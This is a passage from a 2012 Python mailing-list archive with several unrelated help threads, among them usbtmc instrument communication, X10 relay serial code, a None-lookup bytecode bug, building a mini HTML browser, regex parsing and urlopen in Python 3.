Now your task is really simple: write a little function or class > > that opens a network socket, connects to that plugin und asks it for the > > information you require. You just need to find out what network protocol > > this plugin uses to communicate. If it is no standard protocol for which > > a higher level module is present (xmlrpc or something), see > > http://docs.python.org/3/library/socket.html for low level sockets. > > > > Greetings Really sorry for the late reply, but I've got a lot going on lately. Thanks a TON for your answer thought, this is exactly what I really hoped for. The problem for me is that I don't actually know anything about writing a function that opens a network socket, and "connects to that plugin und asks it for the information you require." That's all really beyond me, all I can do is what I did so far, which is make it ask for your temperature value, and then test it to see if its an integer Then (I added this for testing) It asks for any temperature value. And if it exceeds the given limit, it rings an alarm. Until it freezes and becomes unresponsive :D I don't know how to make it 'query' or grab values constantly, if you don't mind my potentially incorrect terminology. If you know how to do this, or could explain it really step by step to me, I would be ever so thankful. Or even if you know of somewhere which I could ask this. Thanks!!! From dwightdhutto at gmail.com Wed Dec 5 15:36:04 2012 From: dwightdhutto at gmail.com (David Hutto) Date: Wed, 5 Dec 2012 15:36:04 -0500 Subject: mini browser with python In-Reply-To: <7021409.kQlh19oPqF@mach-114-20> References: <7021409.kQlh19oPqF@mach-114-20> Message-ID: I think this is the snippe that you want: david at david-desktop:~$ python Python 2.7.3 (default, Aug 1 2012, 05:16:07) [GCC 4.6.3] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import urlliib >>> url_to_read = urllib.urlopen('http://hitwebdevelopment.com') >>> for line in url_to_read: ... print line -- Best Regards, David Hutto CEO: http://www.hitwebdevelopment.com From jeandubois314 at gmail.com Wed Dec 5 15:38:04 2012 From: jeandubois314 at gmail.com (Jean Dubois) Date: Wed, 5 Dec 2012 12:38:04 -0800 (PST) Subject: problem with usbtmc-communication References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <0910382a-08df-4325-806f-a4c3cdf6bd7b@f17g2000vbz.googlegroups.com> Message-ID: On 5 dec, 16:26, w... at mac.com wrote: > On Dec 4, 2012, at 11:12 AM, Jean Dubois wrote: > > > On 4 dec, 15:33, w... at mac.com wrote: > >> On Dec 4, 2012, at 7:14 AM, Jean Dubois wrote: > > >>> The following test program which tries to communicate with a Keithley > >>> 2200 programmable power supply using usbtmc in Python does not work as > > Is usbtmc a software layer (library of some sort) or some sort of hardware adapter? This is the information concerning usbtmc from the National Instruments site: USBTMC stands for USB Test & Measurement Class. USBTMC is a protocol built on top of USB that allows GPIB-like communication with USB devices. From the user's point of view, the USB device behaves just like a GPIB device. For example, you can use VISA Write to send the *IDN? query and use VISA Read to get the response. The USBTMC protocol supports service request, triggers and other GPIB specific operations. > > > > > > > > > >>> expected. I have connected a 10 ohm resistor to its terminals and I > >>> apply 0.025A, 0.050A, 0.075A en 0.1A, > >>> I then measure the current and the voltage en write them in a file > >>> De data produced looks like this: > >>> 0.00544643 0.254061; first current value is wrong, voltage value is > >>> correct > >>> 0.0250807 0.509289; second current value is wrong, but it corresponds > >>> to the first, second voltage is correct > >>> 0.0501099 0.763945; 3rd current value is wrong, but it corresponds to > >>> the second, 3rd voltage is right > >>> 0.075099 1.01792; 4th current value is wrong, ?it corresponds to the > >>> 3rd, 4th voltage is right > >>> ? ? ? ? ? ? ? ? ? ? ? ? ? ?4th correct current value is missing > > >>> But is should be (numerical inaccuracy taking into account)(these data > >>> were produced by a similar octave-program): > >>> 0.0248947 0.254047 > >>> 0.0499105 0.509258 > >>> 0.0749044 0.764001 > >>> 0.0998926 1.01828 > > >>> Here is the python-program: > >>> #!/usr/bin/python > >>> import time > >>> import os > >>> import sys > >>> measurementcurr='' > >>> measurementvolt='' > >>> timesleepdefault=1 > >>> filename ='mydata.txt' > >>> usbkeith = open('/dev/usbtmc1','r+') > >>> usbkeith.flush() > >>> usbkeith.write("*IDN?\n") > >>> #strip blank line: > >>> identification=usbkeith.readline().strip() > >>> print 'Found device: ',identification > >>> usbkeith.write("SYST:REM" + "\n") > >>> usbkeith.write(":SENS:VOLT:PROT 1.5\n") > >>> keithdata = open(filename,'w') > >>> #start first measurement > >>> usbkeith.write(":SOUR:CURR 0.025\n") > >>> usbkeith.write(":OUTP:STAT ON\n") > >>> time.sleep(timesleepdefault) > >>> usbkeith.write(":MEAS:CURR?\n") > >>> time.sleep(timesleepdefault) > >>> measurementcurr=usbkeith.readline() > >>> print 'Measured current 1: ',measurementcurr > >>> usbkeith.write("MEAS:VOLT?\n") > >>> time.sleep(timesleepdefault) > >>> measurementvolt=usbkeith.readline() > > Without knowing anything about the usbtmc hardware/software it is hard to make real recommendations, but it seems pretty clear that you are being stepped on by a buffer problem of some sort. ?I'm VERY suspicious of using of readline() as a way of getting the data out of the usbtmc thingy. ?That makes python treat the Keithley as a file-like object and there are way too many ways the file pointer may not be where you think it is. > > I note that in your Octave example you are reading characters rather than lines. ?It seems to me that you have two choices here, either do the equivalent in python or dig through the Keithley documentation to find the hex codes that usbtmc is presumably translating your commands into. ?If you can find those, and if you are interested, I can send you off-line the handler I wrote a couple of years ago that used a dictionary to translate English commands into hex, then assembled those with a checksum and sent the string out to a Keyspan usb to serial converter. If you could show me how to "do the equivalent in Python" I'd appreciate that very much best regards, jean From tjreedy at udel.edu Wed Dec 5 15:41:19 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 05 Dec 2012 15:41:19 -0500 Subject: why does dead code costs time? In-Reply-To: <20121205182413.GI10865@hud> References: <50bf85c0$0$29994$c3e8da3$5496439d@news.astraweb.com> <20121205182413.GI10865@hud> Message-ID: On 12/5/2012 1:24 PM, Bruno Dupuis wrote: > On Wed, Dec 05, 2012 at 10:59:26AM -0700, Ian Kelly wrote: >> On Wed, Dec 5, 2012 at 10:34 AM, Steven D'Aprano >> wrote: >>> The difference is almost certain between the LOAD_CONST and the >>> LOAD_GLOBAL. >>> >>> As to *why* there is such a difference, I believe that's a leftover from >>> early Python days when None was not a keyword and could be reassigned. >> >> I think this should even be considered a bug, not just a missing >> optimization. Consider: > > This is definitely a bug > >>>>> globals()['None'] = 42 >>>>> def f(x): >> ... return None >> ... print(x) >> ... >>>>> f('test') >> 42 > > This one is pretty scary > > The difference between `return None` and `return` leads to inconsistency and > is in contradiction with the specs, AFAIK. I'm glad we pointed this out. You did not specify version, but I confirmed in 3.3.0. Please open a tracker issue. -- Terry Jan Reedy From ckaynor at zindagigames.com Wed Dec 5 15:49:24 2012 From: ckaynor at zindagigames.com (Chris Kaynor) Date: Wed, 5 Dec 2012 12:49:24 -0800 Subject: why does dead code costs time? In-Reply-To: References: <50bf85c0$0$29994$c3e8da3$5496439d@news.astraweb.com> <20121205182413.GI10865@hud> Message-ID: On Wed, Dec 5, 2012 at 12:41 PM, Terry Reedy wrote: > On 12/5/2012 1:24 PM, Bruno Dupuis wrote: > >> On Wed, Dec 05, 2012 at 10:59:26AM -0700, Ian Kelly wrote: >>> >>> I think this should even be considered a bug, not just a missing >>> optimization. Consider: >>> >> >> This is definitely a bug >> >> globals()['None'] = 42 >>>>>> def f(x): >>>>>> >>>>> ... return None >>> ... print(x) >>> ... >>> >>>> f('test') >>>>>> >>>>> 42 >>> >> >> This one is pretty scary >> >> The difference between `return None` and `return` leads to inconsistency >> and >> is in contradiction with the specs, AFAIK. I'm glad we pointed this out. >> > > You did not specify version, but I confirmed in 3.3.0. Please open a > tracker issue. It also occurs in 2.6.4 -------------- next part -------------- An HTML attachment was scrubbed... URL: From python.ml.bruno.dupuis at lisael.org Wed Dec 5 15:50:58 2012 From: python.ml.bruno.dupuis at lisael.org (Bruno Dupuis) Date: Wed, 5 Dec 2012 21:50:58 +0100 Subject: why does dead code costs time? In-Reply-To: References: <50bf85c0$0$29994$c3e8da3$5496439d@news.astraweb.com> <20121205182413.GI10865@hud> Message-ID: <20121205205057.GA14400@hud> On Wed, Dec 05, 2012 at 03:41:19PM -0500, Terry Reedy wrote: > On 12/5/2012 1:24 PM, Bruno Dupuis wrote: > >On Wed, Dec 05, 2012 at 10:59:26AM -0700, Ian Kelly wrote: > >>On Wed, Dec 5, 2012 at 10:34 AM, Steven D'Aprano > >> wrote: > >>>The difference is almost certain between the LOAD_CONST and the > >>>LOAD_GLOBAL. > >>> > >>>As to *why* there is such a difference, I believe that's a leftover from > >>>early Python days when None was not a keyword and could be reassigned. > >> > >>I think this should even be considered a bug, not just a missing > >>optimization. Consider: > > > >This is definitely a bug > > > >>>>>globals()['None'] = 42 > >>>>>def f(x): > >>... return None > >>... print(x) > >>... > >>>>>f('test') > >>42 > > > >This one is pretty scary > > > >The difference between `return None` and `return` leads to inconsistency and > >is in contradiction with the specs, AFAIK. I'm glad we pointed this out. > > You did not specify version, but I confirmed in 3.3.0. Please open a > tracker issue. It is also in 2.7 and 3.4 head, I didn't test other versions. I forgot to mention here the issue I have just opened: http://bugs.python.org/issue16619 -- Bruno Dupuis From miki.tebeka at gmail.com Wed Dec 5 16:06:41 2012 From: miki.tebeka at gmail.com (Miki Tebeka) Date: Wed, 5 Dec 2012 13:06:41 -0800 (PST) Subject: Remote server: running a Python script and making *.csv files publicly available In-Reply-To: <2b98a199-2e7c-4eb0-a02c-6a99668eef54@googlegroups.com> References: <2b98a199-2e7c-4eb0-a02c-6a99668eef54@googlegroups.com> Message-ID: <3a548527-bafe-498a-98fb-db13b18a26d6@googlegroups.com> On Wednesday, December 5, 2012 11:14:42 AM UTC-8, Jason Hsu wrote: > make the *.csv files publicly available to read. > Can this be done on Heroku? I've gone through the tutorial, but it seems to be geared towards people who want to create a whole web site. See one option - http://stackoverflow.com/questions/8470733/how-can-i-handle-static-files-with-python-webapp2-in-heroku > If Heroku isn't the solution for me, what are the alternatives? I tried Google App Engine, but it requires Python 2.5 and won't work with 2.7. AppEngine does support Python 2.7, see https://developers.google.com/appengine/docs/python/runtime From miki.tebeka at gmail.com Wed Dec 5 16:13:15 2012 From: miki.tebeka at gmail.com (Miki Tebeka) Date: Wed, 5 Dec 2012 13:13:15 -0800 (PST) Subject: mini browser with python In-Reply-To: References: Message-ID: <0304ca54-c6f3-43de-a224-2d80746c465a@googlegroups.com> > In other words I need a mini, simple browser; > something I can build that will open, read and > display a saved html file. If you want to view the "raw" HTML, use any editor. If you want to view the rendered HTML (like in a browser), you can point your favorite browser to a local file or use something like Qt+Webkit. From miki.tebeka at gmail.com Wed Dec 5 16:13:15 2012 From: miki.tebeka at gmail.com (Miki Tebeka) Date: Wed, 5 Dec 2012 13:13:15 -0800 (PST) Subject: mini browser with python In-Reply-To: References: Message-ID: <0304ca54-c6f3-43de-a224-2d80746c465a@googlegroups.com> > In other words I need a mini, simple browser; > something I can build that will open, read and > display a saved html file. If you want to view the "raw" HTML, use any editor. If you want to view the rendered HTML (like in a browser), you can point your favorite browser to a local file or use something like Qt+Webkit. From hansmu at xs4all.nl Wed Dec 5 16:15:58 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Wed, 05 Dec 2012 22:15:58 +0100 Subject: mini browser with python In-Reply-To: References: Message-ID: <50bfb992$0$6957$e4fe514c@news2.news.xs4all.nl> On 5/12/12 20:36:04, inq1ltd wrote: > Python help. ????? This is not a Python question. > I can connect to and download a web page, > html code, and save it to a file. If connected > to the web, I can use KWrite to open the file > and navigate the page. > I want to view the html file without using a browser > or KWrite as I do now. > In other words I need a mini, simple browser; > something I can build that will open, read and > display a saved html file. Why don't you use the browser you already know? > I would appreciate some direction. You're more likely to get good recommendations on a forum dedicated to whichever OS you are using. Hope this help, -- HansM From inq1ltd at inqvista.com Wed Dec 5 16:19:33 2012 From: inq1ltd at inqvista.com (inq1ltd) Date: Wed, 05 Dec 2012 16:19:33 -0500 Subject: mini browser with python In-Reply-To: References: <7021409.kQlh19oPqF@mach-114-20> Message-ID: <2325303.tV1UWNopvp@mach-114-20> On Wednesday, December 05, 2012 03:36:04 PM David Hutto wrote: > I think this is the snippe that you want: > > david at david-desktop:~$ python > Python 2.7.3 (default, Aug 1 2012, 05:16:07) > [GCC 4.6.3] on linux2 > Type "help", "copyright", "credits" or "license" for more information. > > >>> import urlliib > >>> url_to_read = urllib.urlopen('http://hitwebdevelopment.com') > > >>> for line in url_to_read: > ... print line Print line will send the html code to my sys.stdout I need to view the code as if I were opening it with a browser. Now, I set KWrite to read the code just as Firefox does. I want to incorporate a mini browser in a module to do the same. regards, jimonlinux -------------- next part -------------- An HTML attachment was scrubbed... URL: From vlastimil.brom at gmail.com Wed Dec 5 16:36:36 2012 From: vlastimil.brom at gmail.com (Vlastimil Brom) Date: Wed, 5 Dec 2012 22:36:36 +0100 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: <945048d8-961e-4894-89fc-3b7fd9b7965b@googlegroups.com> References: <26781aa9-b4a2-4308-8db2-5a150da2128f@googlegroups.com> <945048d8-961e-4894-89fc-3b7fd9b7965b@googlegroups.com> Message-ID: 2012/12/5 Nick Mellor : > Neil, > > Further down the data, found another edge case: > > "Spring ONION from QLD" > > Following the spec, the whole line should be description (description starts at first word that is not all caps.) This case breaks the latest groupby. > > N > -- > http://mail.python.org/mailman/listinfo/python-list Hi, Just for completeness..., it (likely) can be done using regex (given the current specificatioin), but if the data are even more complex and varying, the tools like pyparsing or dedicated parsing functions might be more appropriate; hth, vbr: >>> import re >>> test_product_data = """BEANS hand picked ... BEETROOT certified organic ... BOK CHOY (bunch) ... BROCCOLI Mornington Peninsula ... BRUSSEL SPROUTS ... CABBAGE green ... CABBAGE Red ... CAPSICUM RED ... CARROTS ... CARROTS loose ... CARROTS juicing, certified organic ... CARROTS Trentham, large seconds, certified organic ... CARROTS Trentham, firsts, certified organic ... CAULIFLOWER ... CELERY Mornington Peninsula IPM grower ... CELERY Mornington Peninsula IPM grower ... CUCUMBER ... EGGPLANT ... FENNEL ... GARLIC (from Argentina) ... GINGER fresh uncured ... KALE (bunch) ... KOHL RABI certified organic ... LEEKS ... LETTUCE iceberg ... MUSHROOM cup or flat ... MUSHROOM Swiss brown ... ONION brown ... ONION red ... ONION spring (bunch) ... PARSNIP, certified organic ... POTATOES certified organic ... POTATOES Sebago ... POTATOES Desiree ... POTATOES Bullarto chemical free ... POTATOES Dutch Cream ... POTATOES Nicola ... POTATOES Pontiac ... POTATOES Otway Red ... POTATOES teardrop ... PUMPKIN certified organic ... SCHALLOTS brown ... SNOW PEAS ... SPINACH I'll try to get certified organic (bunch) ... SWEET POTATO gold certified organic ... SWEET POTATO red small ... SWEDE certified organic ... TOMATOES Qld ... TURMERIC fresh certified organic ... ZUCCHINI ... APPLES Harcourt Pink Lady, Fuji, Granny Smith ... APPLES Harcourt 2 kg bags, Pink Lady or Fuji (bag) ... AVOCADOS ... AVOCADOS certified organic, seconds ... BANANAS Qld, organic ... GRAPEFRUIT ... GRAPES crimson seedless ... KIWI FRUIT Qld certified organic ... LEMONS ... LIMES ... MANDARINS ... ORANGES Navel ... PEARS Beurre Bosc Harcourt new season ... PEARS Packham, Harcourt new season ... SULTANAS 350g pre-packed bags ... EGGS Melita free range, Barker's Creek ... BASIL (bunch) ... CORIANDER (bunch) ... DILL (bunch) ... MINT (bunch) ... PARSLEY (bunch) ... Spring ONION from QLD""" >>> >>> len(test_product_data.splitlines()) 72 >>> >>> for prod_item in re.findall(r"(?m)(?=^.+$)^ *(?:([A-Z ]+\b(?>> len(re.findall(r"(?m)(?=^.+$)^ *(?:([A-Z ]+\b(?>> From inq1ltd at inqvista.com Wed Dec 5 16:40:16 2012 From: inq1ltd at inqvista.com (inq1ltd) Date: Wed, 05 Dec 2012 16:40:16 -0500 Subject: mini browser with python In-Reply-To: <50bfb992$0$6957$e4fe514c@news2.news.xs4all.nl> References: <50bfb992$0$6957$e4fe514c@news2.news.xs4all.nl> Message-ID: <3686701.hKh9tr7A7T@mach-114-20> On Wednesday, December 05, 2012 10:15:58 PM Hans Mulder wrote: > On 5/12/12 20:36:04, inq1ltd wrote: > > Python help. > > ????? This is not a Python question. > > > I can connect to and download a web page, > > html code, and save it to a file. If connected > > to the web, I can use KWrite to open the file > > and navigate the page. > > > > I want to view the html file without using a browser > > or KWrite as I do now. > > > > In other words I need a mini, simple browser; > > something I can build that will open, read and > > display a saved html file. > > Why don't you use the browser you already know? > > > I would appreciate some direction. > > You're more likely to get good recommendations on > a forum dedicated to whichever OS you are using. If this is not a Python question what is the purpose of the htmllib module, or the sgmllib module, or the formatter module, or the htmlentitydef module or the HTMLParser module and others that are available for python?? regards, jimonlinux > > > > Hope this help, > > -- HansM -------------- next part -------------- An HTML attachment was scrubbed... URL: From invalid at invalid.invalid Wed Dec 5 16:41:59 2012 From: invalid at invalid.invalid (Grant Edwards) Date: Wed, 5 Dec 2012 21:41:59 +0000 (UTC) Subject: mini browser with python References: <50bfb992$0$6957$e4fe514c@news2.news.xs4all.nl> Message-ID: On 2012-12-05, Hans Mulder wrote: > On 5/12/12 20:36:04, inq1ltd wrote: >> Python help. > > ? This is not a Python question. It sounds to me lik he's asking about using Python to render HTML and display the result. Back when I used Scheme/Tk for knocking out quick GUI apps, there was an "HTML" widget that allowed you to do that. Does Tkinter have something like that? -- Grant Edwards grant.b.edwards Yow! This ASEXUAL PIG at really BOILS my BLOOD gmail.com ... He's so ... so ... URGENT!! From inq1ltd at inqvista.com Wed Dec 5 16:44:21 2012 From: inq1ltd at inqvista.com (inq1ltd) Date: Wed, 05 Dec 2012 16:44:21 -0500 Subject: mini browser with python Message-ID: <5623347.RPNbecfucV@mach-114-20> Python help. I can connect to and download a web page, html code, and save it to a file. If connected to the web, I can change the settings on KWrite to open the file and navigate the page, (just like a browser does). I want to view the html file without using a browser or KWrite as I do now. Customer wants a direct connect to a dedicated website. Their clients can be using any browser. This gives them a a direct connect to a dedicated website for a specific purpose. In other words I need a mini, simple browser; something I can build that will open, read and display a saved html or the connected url site. I would appreciate some direction. jimonlinux -------------- next part -------------- An HTML attachment was scrubbed... URL: From python.ml.bruno.dupuis at lisael.org Wed Dec 5 16:58:28 2012 From: python.ml.bruno.dupuis at lisael.org (Bruno Dupuis) Date: Wed, 5 Dec 2012 22:58:28 +0100 Subject: why does dead code costs time? In-Reply-To: <20121205205057.GA14400@hud> References: <50bf85c0$0$29994$c3e8da3$5496439d@news.astraweb.com> <20121205182413.GI10865@hud> <20121205205057.GA14400@hud> Message-ID: <20121205215828.GB14400@hud> I added a patch on the issue tracker. It solves the bug for short (<32700 bytes) functions ref : http://bugs.python.org/file28217/16619-1.patch -- Bruno Dupuis From d at davea.name Wed Dec 5 17:09:00 2012 From: d at davea.name (Dave Angel) Date: Wed, 05 Dec 2012 17:09:00 -0500 Subject: mini browser with python In-Reply-To: <2325303.tV1UWNopvp@mach-114-20> References: <7021409.kQlh19oPqF@mach-114-20> <2325303.tV1UWNopvp@mach-114-20> Message-ID: <50BFC5FC.1060005@davea.name> On 12/05/2012 04:19 PM, inq1ltd wrote: > > > I need to view the code as if > I were opening it with a browser. > > Now, I set KWrite to read the code just > as Firefox does. > I want to incorporate a mini browser > in a module to do the same. > > regards, > jimonlinux > > > You still haven't given any constraints. How about launching Firefox on file://mydir/temp/output.html ? Are you using a gui already, so this should display inside a window of your program? What OS are you using? Which version of Python, and which gui? If you haven't picked a GUI, have you looked into Miki's suggestion, Qt + webkit ? -- DaveA From wrw at mac.com Wed Dec 5 17:21:01 2012 From: wrw at mac.com (wrw at mac.com) Date: Wed, 05 Dec 2012 17:21:01 -0500 Subject: problem with usbtmc-communication In-Reply-To: References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <0910382a-08df-4325-806f-a4c3cdf6bd7b@f17g2000vbz.googlegroups.com> Message-ID: <25E97D75-1C57-40BB-B919-E86AE542509B@mac.com> On Dec 5, 2012, at 3:38 PM, Jean Dubois wrote: [byte] >> >> I note that in your Octave example you are reading characters rather than lines. It seems to me that you have two choices here, either do the equivalent in python or dig through the Keithley documentation to find the hex codes that usbtmc is presumably translating your commands into. If you can find those, and if you are interested, I can send you off-line the handler I wrote a couple of years ago that used a dictionary to translate English commands into hex, then assembled those with a checksum and sent the string out to a Keyspan usb to serial converter. > > If you could show me how to "do the equivalent in Python" I'd > appreciate that very much > > best regards, > jean > -- > http://mail.python.org/mailman/listinfo/python-list OK - I've excerpted some of the relevant code (the original was much longer and included a lot of error checking). Please understand that the comments were for my own use, this was never intended to see the light of day (as it were). Also, the structure grew from a situation where I only had to worry about a single controller model - single relay model to one where I had to be able to deal with two controllers and two relay models. This was all python 2.7 of course. ........................cut on dotted line.......................... """ serial_port = /dev/tty.KeySerial1, 2, 3, etc. X10_controller = 1132B or TI103 Relay_model = UM506 or RBn04 Relay_address = B2 """ import serial, string def checksum256(st): temp = reduce(lambda x,y:x+y, map(ord,st)) % 256 if temp < 9: hex_temp = '0'+str(temp) return hex_temp hex_temp = hex(temp).upper()[2:] return hex_temp letr_address_dict = {'A':'\x46', 'B':'\x4E', 'C':'\x42', 'D':'\x4A', 'E':'\x41', 'F':'\x49', 'G':'\x45', 'H':'\x4D', 'I':'\x47', 'J':'\x4F', 'K':'\x43', 'L':'\x4B', 'M':'\x40', 'N':'\x48', 'O':'\x44', 'P':'\x4C' } numb_address_dict = {'1':'\x4C', '2':'\x5C', '3':'\x44', '4':'\x54', '5':'\x42', '6':'\x52', '7':'\x4A', '8':'\x5A', '9':'\x4E', '10':'\x5E', '11':'\x46', '12':'\x56', '13':'\x40', '14':'\x50', '15':'\x48', '16':'\x58' } cmd_dict = {'SoC':'\x63', 'All_Units_Off':'\x41', 'All_Lights_On':'\x43', 'ON':'\x45', 'OFF':'\x47', 'Dim':'\x49', 'Bright':'\x4B', 'All_Lights_Off':'\x4D', 'Rep_Cnt1':'\x41', 'Rep_Cnt2':'\x42'} def relay(port, controller_model, relay_model, relay_address, command): if controller_model == '1132B': if relay_model == 'UM506' or relay_model == 'UM7206': letr = letr_address_dict[relay_address[0]] numb = numb_address_dict[relay_address[1]] cmd = cmd_dict[command] cmd_string = '\x63'+letr+numb+cmd+'\x42' # Start-of-Command + address_letter + address_number + command + Rep-count ser = serial.Serial(port, 9600, timeout=1) # Set up handle to serial port stat1 = ser.write('\x02') # Write attention to PowerLink, stat = number of bytes written, not really an error return. ack1 = ser.read(2) # Check to see if PowerLink is ready if ack1 == '\x06\r': # It returns ACK (\x06\r) if it is stat2 = ser.write(cmd_string) ack2 = ser.read(19) if command == 'ON' and ack2 == 'XN\\1\rXNE1\rXNE1\r' : status = 0 if command == 'OFF' and ack2 == 'XN\\1\rXNG1\rXNG1\r': status = 0 if command == 'ON' and ack2 != 'XN\\1\rXNE1\rXNE1\r' : status = 1 if command == 'OFF' and ack2 != 'XN\\1\rXNG1\rXNG1\r': status = 1 elif ack1 =='\x15': # PowerLink sends NAC (hex 15) if it isn't. print('Received NAK from X10 Control, is there too much X10 traffic on the line?\n') else: print("Something's wrong with X10 control. Ack returned was: " + ack1 + "\n") stat3 = ser.close() # Close serial port return(status) --------- some irrelevant stuff was here, snipped --------- elif controller_model == 'TI103': if relay_model == 'UM506' or relay_model == 'UM7206': letr = relay_address[0] numb = relay_address[1] if int(relay_address[1]) <= 9: numb = '0'+numb # stat1 = ser.write('$>28001B02B02 BONBONCC#') # Tell TI103 to send "On" to device B2 ser = serial.Serial(port, 9600, timeout=0.1) # Set up handle to serial port cmd_string = '$>28001'+letr+numb+letr+numb+' '+letr+command+letr+command ck_sum = checksum256(cmd_string) cmd_string = cmd_string+ck_sum+'#' stat2 = ser.write(cmd_string) ack2 = ser.read(10) if ack2 != '$<2800!4B#': print('Problem writing command string, controller ACK =', ack2) # $<2800!4B# == success stat3 = ser.close() # Close serial port # #------ Now, check status of UM506 to be sure it took the command -------- # ser = serial.Serial(port, 9600, timeout = 0.1) for i in range(0,3): cmd = 'SRQ' # Status request command cmd_string = '$>28001'+letr+numb+letr+numb+' '+letr+cmd+letr+cmd ck_sum = checksum256(cmd_string) cmd_string = cmd_string+ck_sum+'#' stat2 = ser.write(cmd_string) ack2 = ser.read(10) if ack2 != '$<2800!4B#': print('Problem writing command string, controller ACK =', ack2, 'Trying ', i, 'times.') # $<2800!4B# == success if ack2 == '$<2800!4B#': break cmd_string = '$>2800008C#' # Relay response is in the TI123's buffer, this command will read it back stat2 = ser.write(cmd_string) ack2 = ser.read(150) stat3 = ser.close() temp = ack2.strip().split(' ') loc = str(temp).find(command) if loc >= 0: stat3 = True return(stat3) elif relay_model =='RF124': letr = relay_address[0] numb = relay_address[1] if int(relay_address[1]) <= 9: numb = '0'+numb ser = serial.Serial(port, 9600, timeout=0.1) # Again, set up serial port for i in range(0,3): cmd_string = '$>28001'+letr+numb+letr+numb+' '+letr+command+letr+command ck_sum = checksum256(cmd_string) cmd_string = cmd_string+ck_sum+'#' stat2 = ser.write(cmd_string) ack2 = ser.read(10) if ack2 == '$<2800!4B#': break if ack2 != '$<2800!4B#': print('Problem writing command string, controller ACK =', ack2, 'Trying ', i, 'times.') # $<2800!4B# == success if ack2 != '$<2800!4B#': log_write(log_file, 'Problem writing command string, controller ACK =', ack2, 'Trying ', i, 'times.') stat3 = ser.close() # Close serial port # # Now, check status of RF124 to be sure it took the command # ser = serial.Serial(port, 9600, timeout = 0.1) for i in range(0,3): cmd = 'SRQ' # Status request command cmd_string = '$>28001'+letr+numb+letr+numb+' '+letr+cmd+letr+cmd ck_sum = checksum256(cmd_string) cmd_string = cmd_string+ck_sum+'#' stat2 = ser.write(cmd_string) ack2 = ser.read(10) if ack2 == '$<2800!4B#': break if ack2 != '$<2800!4B#': print('Problem writing command string, controller ACK =', ack2, 'Trying ', i, 'times.') # $<2800!4B# == success if ack2 != '$<2800!4B#': log_write(log_file, 'Problem writing command string, controller ACK =', ack2, 'Trying ', i, 'times.') cmd_string = '$>2800008C#' # Relay response is in the TI123's buffer, this command will read it back stat2 = ser.write(cmd_string) ack2 = ser.read(150) stat3 = ser.close() temp = ack2.strip().split(' ') loc = str(temp).find(command) if loc >= 0: stat3 = True if loc == -1: stat3 = ack2 return(stat3) From diolu.remove_this_part at bigfoot.com Wed Dec 5 17:40:20 2012 From: diolu.remove_this_part at bigfoot.com (Olive) Date: Wed, 5 Dec 2012 23:40:20 +0100 Subject: urlopen in python3 Message-ID: <20121205234020.76a9d88d@pcolivier.chezmoi.net> In python2, I use this code: a=urllib.urlopen(something) In python2, this work if "something" is a regular file on the system as well as a remote URL. The 2to3 script convert this to urllib.request.urlopen. But it does not work anymore if "something" is just a file name. My aim is to let the user specify a "file" on the command line and have something that works, whatever the "file " actually is: a regular file, an http url, etc... Olive From tolidtm at gmail.com Wed Dec 5 17:50:49 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Wed, 5 Dec 2012 23:50:49 +0100 Subject: Confused compare function :) Message-ID: Hi all, I'm confused again with a compare update function. The problem is that my function does not work at all and I don't get it where it comes from. in my DB I have total of 754 products. when I run the function is says: Total updated: 754 Total not found with in the distributor: 747 I just don't get it, can you find my mistake ? Thanks in advance def Change_price(): total = 0 tnf = 0 for row in DB: # DB is mySQL DB, logically I get out 1 SKU and I compare it with next loop isku = row["sku"] isku = isku.lower() iprice = row["price"] iprice = int(iprice) found = 0 try: for x in PRICELIST:# here is my next loop in a CSV file which is allready in a list PRICELIST try: dprice = x[6] dprice = dprice.replace(",",".") # As in the PRICELIST the prices are with commas I replace the comma as python request it dprice = float(dprice) newprice = round(dprice)*1.10 dsku = x[4] dsku = dsku.lower() stock = int(x[7]) if isku == dsku and newprice < int(iprice):# If found the coresponded SKU and the price is higher than the one in the CSV I update the price print dsku, x[6], dprice, newprice Update_SQL(newprice, isku)# goes to the SQL Update print isku, newprice if isku == dsku:# Just a check to see if it works print "Found %s" %dsku found = 1 else: found = 0 except IndexError: pass except ValueError: pass except TypeError: pass except IndexError: pass if found == 1: print "%s This is match" % isku if found == 0: print "%s Not found" % isku tnf = tnf +1 total = total +1 print "Total updated: %s" % total print"Total not found with in the distributor: %s" % tnf From nick.cash at npcinternational.com Wed Dec 5 17:54:32 2012 From: nick.cash at npcinternational.com (Nick Cash) Date: Wed, 5 Dec 2012 22:54:32 +0000 Subject: urlopen in python3 In-Reply-To: <20121205234020.76a9d88d@pcolivier.chezmoi.net> References: <20121205234020.76a9d88d@pcolivier.chezmoi.net> Message-ID: <846C3A8E860C4344B567D813B63AA51D64B56AB8@BL2PRD0610MB349.namprd06.prod.outlook.com> > In python2, this work if "something" is a regular file on the system as > well as a remote URL. The 2to3 script convert this to > urllib.request.urlopen. But it does not work anymore if "something" > is just a file name. > > My aim is to let the user specify a "file" on the command line and have > something that works, whatever the "file " actually is: a regular file, > an http url, etc... A file path, such as "/etc/passwd", isn't properly a URL, so urllib correctly refuses to handle it. You can make it a URL by using the file:// protocol, i.e. "file:///etc/passwd"... which appears to work in both python2 and python3. From gordon at panix.com Wed Dec 5 17:56:49 2012 From: gordon at panix.com (John Gordon) Date: Wed, 5 Dec 2012 22:56:49 +0000 (UTC) Subject: mini browser with python References: Message-ID: In inq1ltd writes: > In other words I need a mini, simple browser; > something I can build that will open, read and > display a saved html or the connected url site. What will be the output of this mini browser? Plain text? Rendered graphics? An audible screen reader? Something else? What web standards does this mini browser need to support? Full HTML5? Partial HTML? CSS? Javascript? Flash? -- John Gordon A is for Amy, who fell down the stairs gordon at panix.com B is for Basil, assaulted by bears -- Edward Gorey, "The Gashlycrumb Tinies" From jdildy85 at gmail.com Wed Dec 5 18:12:54 2012 From: jdildy85 at gmail.com (John Dildy) Date: Wed, 5 Dec 2012 15:12:54 -0800 (PST) Subject: Installing packages on Mac OS X 10.7.5 Message-ID: Hello Everyone! I have python v2.7.1 and I am trying to install packages on the Mac OS X v10.7.5 I am trying to install: Distribute Nose virtualenv If anyone can help me that would be great John Dildy jdildy85 at gmail.com From jasi3k at gmail.com Wed Dec 5 18:13:16 2012 From: jasi3k at gmail.com (Jan Kurzawski) Date: 